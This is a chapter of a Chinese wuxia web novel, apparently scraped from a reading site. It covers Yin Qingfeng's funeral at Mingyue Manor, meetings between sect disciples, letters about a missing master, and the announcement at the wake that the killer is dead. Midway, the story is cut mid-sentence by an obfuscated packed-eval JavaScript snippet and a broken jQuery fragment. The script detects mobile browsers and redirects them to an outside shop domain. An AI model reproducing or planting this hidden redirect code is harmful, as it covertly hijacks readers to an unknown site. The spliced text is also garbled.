次日,天色刚明,明月庄里的灵堂响起了阵阵哀乐。
辰时,正是尹清风入殓的时辰。入殓分为小殓、大殓两个流程。尹清风的三个亲传弟子白昊、明洲、崔远道以及尹夫人李知婉四人,还有部分内院弟子都在灵堂里进行入殓仪式。
至于其他弟子则都被安排在侧厅,招待着来自五湖四海的江湖好友。
依据丧葬习俗,逝者大殓后,亲朋好友方可于灵堂前吊唁。由于尹清风突然离世,明月庄里许多事需要处理,所以吊唁期限只设了两日,便是今日。许多生前与尹清风交好的江湖好友得了消息,就集中地赶在这两日前来吊唁。
傅妍妤、姜梨、叶乾、傅琰四人用过早饭后,早早地来到了灵堂侧厅,烧香祭拜。
刚进大厅,还未落座,傅妍妤恍惚间听到有一爽朗女声喊了自己的名字。她站在原地,环顾四周,发现了是一位江湖旧识。
“傅妍妤!”
只见身着蓝色劲装,腰间悬挂着一柄镶嵌七彩宝石的短剑,长相英气的女子看到傅妍妤注意到自己之后,立即背过头去,朝着一男子招手并喊了一声:“师兄!这里。”
傅妍妤看见两人面容,便主动走上前打招呼道:“蒋师妹!任师兄!”
这时被蓝衣女子招手呼来的男子刚走到两人身旁,拱手做礼道:“傅师妹!”
“阿妤,他们两个是什么人?”从傅妍妤背后冒出来的姜梨眨着圆溜溜的眼睛,手上拄着拐杖好奇地问道。
方才姜梨刚找到位置坐,就见傅妍妤朝另一边走了。于是她行动不便地拄着拐杖起身跟了上去,同时傅琰、叶乾也随之走了过去。
未等傅妍妤出声介绍,蓝衣女子见到傅琰便立刻亲昵地问候,“傅大哥,之前送给你的剑谱可有用?”
“剑谱更适合练剑中期武者,更适合你现阶段修习。”傅琰面无表情地如实说道,“我记得当时差人送还给了倥侗门,还附上书信嘱你好好修习剑谱。”
“我这几个月都跟着师兄在外办事,这才没有收到你的回信。”面对傅琰如此直白的回答,蓝衣女子脸色不见丝毫愠怒之色,爽朗地说道:“那下次我搜罗到更厉害些的剑谱再给你送!”
“不必!”傅琰淡淡地吐出两字,并盯着蓝衣女子看了眼提醒道:“你气息紊乱,新力未生,应当好好的专心修习剑谱,好早日突破阻滞期。”
这话听得蓝衣女子自觉羞愧,只见她一脸愕然地盯着傅琰冷峻玉面。
见到两人之间氛围忽然异常,傅妍妤出言调和道:“蒋师妹,莫要见怪!师兄只是想你尽早突破阻滞期,免受其痛苦。”
“我知道的,傅大哥这是在点拨我。”蓝衣女子面上扯出浅笑说道。
蓝衣女子的师兄任平此时也出言打趣道:“傅师弟,多日未见,你这性子还是一如既往地冷得让人不寒而栗,不愧是江湖之中人人称赞的玉面寒君。”
打趣完,任平的视线落到叶乾身上,一眼就看出面前的少年贵气不凡,再眼神扫到拄着拐杖的姜梨,虽着素色衣裙但掩不住其俏皮可爱:“这两位好友是哪家门派?之前怎么没有见过?”
“任师兄,蒋师妹,这是叶乾,家父故人之子。”傅妍妤指着身旁叶乾介绍道,随后再介绍姜梨:“这是叶乾的表妹,姜梨。两人皆没有拜师学艺,无门无派。”
“原来如此!叶少侠、姜姑娘,在下倥侗门弟子任平。这是我小师妹,蒋樱。”任平主动打招呼问好道。
“虽不是江湖中人,却也听闻过倥侗派云无痕任平任少侠。”叶乾风轻云淡地回复。
简单地打完招呼,任平再转头看向傅妍妤,低声说道:“妍妤,有关傅庄主失踪之事,我想借一步说话。”
“好!”傅妍妤面露诧异之色,不知任平为何做出此举但立马应声答道。
于是两人就走到没有人的角落里,独自交谈。姜梨望着两人背影,左手手肘戳戳傅琰胳膊,圆圆的脸上写满了好奇,“傅琰,这人和阿妤以往关系如何?”
“除师门师兄弟外,算是和阿妤走得较近的同辈弟子。”傅琰据实说。
“话不是这样说的!”旁边的蒋樱暗自嘟囔:“若是傅庄主没有失踪的话,没准傅妍妤就成为倥侗派的人了。”
“原来如此!”姜梨见任平看向傅妍妤的眼神春水盈盈,蒋樱如此说,便顿时明白了:“难怪这人一看就对阿妤怀着不可言说的心思。”
她转头看向自家表哥,故意催促道:“表哥,看来你得有点危机意识了?”
叶乾目光紧紧锁定角落里窃窃私语的两人,话音中不带任何情绪起伏地丢出一句话:“你先管好自己的事情!”
走到安静角落里的两人,全然不知自己已成为身后几人的讨论话题。傅妍妤直接问道:“任师兄,你有什么话要特意对我说?”
“我师父听闻傅庄主失踪之事,甚是诧异。他认为傅庄主在失踪前可能就有预感自己不久便会出事。”任平低声说道。
“此话怎讲?蒋掌门是不是知道些什么?”傅妍妤深知没有倥侗派的行事作风,若是没有明确的证据,任平不会跑来同自己说这个。
“师父找了近半年来与傅庄主之间往来书信,在最近两个月的几封书信里面隐晦地提及了。但是也有可能是师父老人家多思,误会了。”
说着说着,任平从腰间拿出几封书信地到傅妍妤的手上,继续说道:“不管是不是误会了,师父老人家听闻你来了明月庄,便在我动身之前将书信交给我,嘱咐定要交给你看看。”
“好的,还要劳烦任师兄帮我多谢蒋掌门的心意。”傅妍妤将这些信件收到袖间,双手抱拳行礼,再次道:“等事情完,我定会亲自到倥侗派答谢蒋掌门。”
“妍妤,你我之间不必如此多礼。”任平伸手捂住傅妍妤的肘腕,“若是有事,你可以随时传信给我。我定会相助,倥侗派也会竭力帮助。”
“好的!”傅妍妤不好拒绝,只能先点头应承下来。
随着时间流逝,锣鼓敲响,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775151|205918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尹清风的入殓仪式已经结束。侧厅里的众人在明月庄弟子们的指示下依次走入灵堂烧香吊唁。
傅妍妤、傅琰代表铸剑山庄,而叶乾与姜梨是两人带过来的人,自然同两人安排在一起烧香。
四人进去烧香祭拜完,同头顶白帽,身穿戴孝麻衣的白昊、明洲、崔远道三人依次道了句“节哀!”便走在灵堂另一侧默哀。
烧香吊唁的人们依次换了一波又一波,直至太阳西落,这日的祭拜才结束。
依据丧葬习俗,凡是烧香祭拜之人都要吃完丧宴才能离开。由于人多,再加之天气不错,白昊便将丧宴安排在灵堂偏院。
明亮的烛光笼罩在白纱灯笼,照亮庭院里各个昏暗的角落。屋檐悬挂着白纱随风摇曳,彰显着悲伤。数十张八仙桌摆放在庭院里空旷的空地上,将来自江湖八方的好友集聚于此。
由于是白事,桌上并无荤腥,全是素食。但此时并无人在意这饭食是荤是素,所有人的目光皆看向主桌白昊、明洲及崔远道三人身上。
“师父猝然离世,多谢诸位不辞万里前来送师父老人家最后一程!”白昊带着左右两旁的明洲、崔远道,向在场众人众人抱拳行礼,以表谢意。
“白师侄,这尹庄主在家中被杀,不知这凶手是否揪出来了?”大胡子老道摸着胡子耿直地当场大声问道。
这话起了头,底下众人都跟着附和起来了:
“尹庄主,不明不白地被人给杀了。这事听起来确实有点匪夷所思!”
“听说这尹庄主性格向来和善,在江湖上从不和他人结怨。如今好端端被人害了,定要将凶手找出来,让他偿命!”
“对!找出凶手,让他偿命!”
在场众人之中不知是谁带的头喊叫,带动其他人情绪激动起来了,这呼声越来越大。
见状,白昊连忙出声稳定局面:“各位前辈、好友,稍安勿躁!杀害家师的真凶已经被查出来了。”
“真凶是谁?放他出来,好让他当众以死谢罪,以告慰尹庄主的在天之灵!”大胡子老道站起来转身朝着在场其他众人高声喊道:“大家说这样对不对!”
今日前来吊唁的人当众有不少从前受过尹清风的帮助,对其颇为感激,所以大胡子老道这话一喊,全部高声回应道:“对!”
“诸位安静!听我说,杀害家师的真凶已经自我了断。”白昊向众人宣告事情的大致情况,“真凶名为梅娘,蛰伏在明月庄一年半载,寻找时机。明枪易躲,暗箭难防,家师受伤闭关,这才让她有机可趁。”
“倒是便宜了她。”大胡子老道叹道。
“这大胡子老道是何人?情绪竟如此激动!”姜梨扯了扯旁边傅琰的衣袖,好奇地问道。
蒋樱见姜梨对傅琰又动手动脚,面露不快但还是出声解释:“果然不是江湖儿女,见识就是较少。这大胡子老道是与尹庄主有过命交情的正德道长。”
“原来是尹庄主的好友,难怪看他情绪那么激动。”姜梨明了道。